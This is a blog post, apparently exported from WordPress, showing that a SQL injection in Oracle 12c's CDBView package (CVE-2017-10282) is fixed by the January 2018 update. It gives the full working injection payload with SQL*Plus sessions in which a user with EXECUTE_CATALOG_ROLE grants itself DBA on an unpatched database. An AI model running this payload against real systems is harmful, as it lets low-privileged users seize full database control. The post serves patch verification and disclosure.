{"id":3296,"date":"2018-01-26T09:33:02","date_gmt":"2018-01-26T11:33:02","guid":{"rendered":"http:\/\/www.dbarj.com.br\/2018\/01\/sql-injection-on-12c-cbview-package-finally-fixed-on-180116\/"},"modified":"2018-01-26T09:33:02","modified_gmt":"2018-01-26T11:33:02","slug":"sql-injection-on-12c-cbview-package-finally-fixed-on-180116","status":"publish","type":"post","link":"https:\/\/www.dbarj.com.br\/pt-br\/2018\/01\/sql-injection-on-12c-cbview-package-finally-fixed-on-180116\/","title":{"rendered":"SQL Injection on 12c CDBView package finally fixed on 180116"},"content":{"rendered":"

Since last quarter of 2016, a very easy to explore SQL Injection came to public where having a combination CREATE SESSION + EXECUTE_CATALOG_ROLE, an user could escalate his privileges to DBA. The first time I’ve read about this leak was on\u00a0Mahmoud Hatem blog<\/a>.<\/p>\n

This SQL Injection affects 12.1.0.2 and 12.2.0.1 when the user has this privileges on CDB$ROOT or if it is a non-CDB.<\/p>\n

After investigating all the code changes performed by 180116 CPU on BPs, PSUs, RU and RURs<\/a>\u00a0(for all changes click on the link), I could notice that oracle created a subfunction called\u00a0isLegalOwnerViewName<\/strong><\/em> in CDBView to do something similar to DBMS_ASSERT:<\/p>\n

\"\"<\/p>\n

Checking the list of all CVUs corrected<\/a> by this updates, we can then infer that this bug is the CVE-2017-10282<\/strong> created only on\u00a021\/June\/2017.<\/p>\n

Let’s try to apply the injection in a 12.2 version with 171017 RU and 180116 RU, comparing the results:<\/p>\n

On 12.2.0.1 with RU\u00a0171017\u00a0<\/strong> applied:<\/p>\n

WARNING: In this Example the view ALL_CUBES will be replaced.<\/strong><\/span><\/p>\n

[oracle@localhost ~]$ opatch lspatches\r\n26710464;Database Release Update : 12.2.0.1.171017 (26710464)\r\n\r\nOPatch succeeded.\r\n[oracle@localhost ~]$ sqlplus \/ as sysdba\r\n\r\nSQL*Plus: Release 12.2.0.1.0 Production on Fri Jan 26 09:10:29 2018\r\n\r\nCopyright (c) 1982, 2016, Oracle.  All rights reserved.\r\n\r\n\r\nConnected to:\r\nOracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production\r\n\r\nSQL> create user c##dbarj identified by oracle;\r\n\r\nUser created.\r\n\r\nSQL> grant create session to c##dbarj;\r\n\r\nGrant succeeded.\r\n\r\nSQL> grant execute_catalog_role to c##dbarj;\r\n\r\nGrant succeeded.\r\n\r\nSQL> conn c##dbarj\/oracle\r\nConnected.\r\nSQL> select granted_role from user_role_privs;\r\n\r\nGRANTED_ROLE\r\n--------------------------------------------------------------------------------\r\nEXECUTE_CATALOG_ROLE\r\n\r\nSQL> -- DON'T RUN IN PRODUCTION --\r\nSQL> exec sys.CDBView.create_cdbview(true,'ALL_CUBES\" as select \/*+WITH_PLSQL*\/ x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN \/* ','old_view' ,' *\/ execute immediate ''grant dba to c##dbarj''; RETURN ''1'';END; SELECT f as x FROM dual)-- ');\r\nBEGIN sys.CDBView.create_cdbview(true,'ALL_CUBES\" as select \/*+WITH_PLSQL*\/ x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN \/* ','old_view' ,' *\/ execute immediate ''grant dba to c##dbarj''; RETURN ''1'';END; SELECT f as x FROM dual)-- '); END;\r\n\r\n*\r\nERROR at line 1:\r\nORA-00905: missing keyword\r\nORA-06512: at \"SYS.CDBVIEW\", line 56\r\nORA-06512: at line 1\r\n\r\n\r\nSQL> select \/*+WITH_PLSQL*\/ * from ALL_CUBES;\r\n\r\nX\r\n--------------------------------------------------------------------------------\r\n1\r\n\r\nSQL> select granted_role from user_role_privs;\r\n\r\nGRANTED_ROLE\r\n--------------------------------------------------------------------------------\r\nDBA\r\nEXECUTE_CATALOG_ROLE\r\n\r\nSQL><\/pre>\n
The SQL Injection did work.<\/p>\n
And now on 12.2.0.1 with RU\u00a0180116<\/strong> applied:<\/p>\n
[oracle@localhost ~]$ opatch lspatches\r\n27105253;Database Release Update : 12.2.0.1.180116 (27105253)\r\n\r\nOPatch succeeded.\r\n[oracle@localhost ~]$ sqlplus \/ as sysdba\r\n\r\nSQL*Plus: Release 12.2.0.1.0 Production on Fri Jan 26 09:20:46 2018\r\n\r\nCopyright (c) 1982, 2016, Oracle.  All rights reserved.\r\n\r\n\r\nConnected to:\r\nOracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production\r\n\r\nSQL> create user c##dbarj identified by oracle;\r\n\r\nUser created.\r\n\r\nSQL> grant create session to c##dbarj;\r\n\r\nGrant succeeded.\r\n\r\nSQL> grant execute_catalog_role to c##dbarj;\r\n\r\nGrant succeeded.\r\n\r\nSQL> conn c##dbarj\/oracle\r\nConnected.\r\nSQL> select granted_role from user_role_privs;\r\n\r\nGRANTED_ROLE\r\n--------------------------------------------------------------------------------\r\nEXECUTE_CATALOG_ROLE\r\n\r\nSQL> exec sys.CDBView.create_cdbview(true,'ALL_CUBES\" as select \/*+WITH_PLSQL*\/ x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN \/* ','old_view' ,' *\/ execute immediate ''grant dba to c##dbarj''; RETURN ''1'';END; SELECT f as x FROM dual)-- ');\r\nBEGIN sys.CDBView.create_cdbview(true,'ALL_CUBES\" as select \/*+WITH_PLSQL*\/ x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN \/* ','old_view' ,' *\/ execute immediate ''grant dba to c##dbarj''; RETURN ''1'';END; SELECT f as x FROM dual)-- '); END;\r\n\r\n*\r\nERROR at line 1:\r\nORA-00942: table or view does not exist\r\nORA-06512: at \"SYS.CDBVIEW\", line 39\r\nORA-06512: at line 1\r\n\r\n\r\nSQL> select \/*+WITH_PLSQL*\/ * from ALL_CUBES;\r\n\r\nno rows selected\r\n\r\nSQL> select granted_role from user_role_privs;\r\n\r\nGRANTED_ROLE\r\n--------------------------------------------------------------------------------\r\nEXECUTE_CATALOG_ROLE\r\n\r\nSQL><\/pre>\n
SQL Injection didn’t work anymore.<\/p>\n
This is yet another reason to stay always in the latest SPU\/PSU\/BP\/RU\/RUR or whatever security fix you apply.<\/p>\n
References:<\/p>\n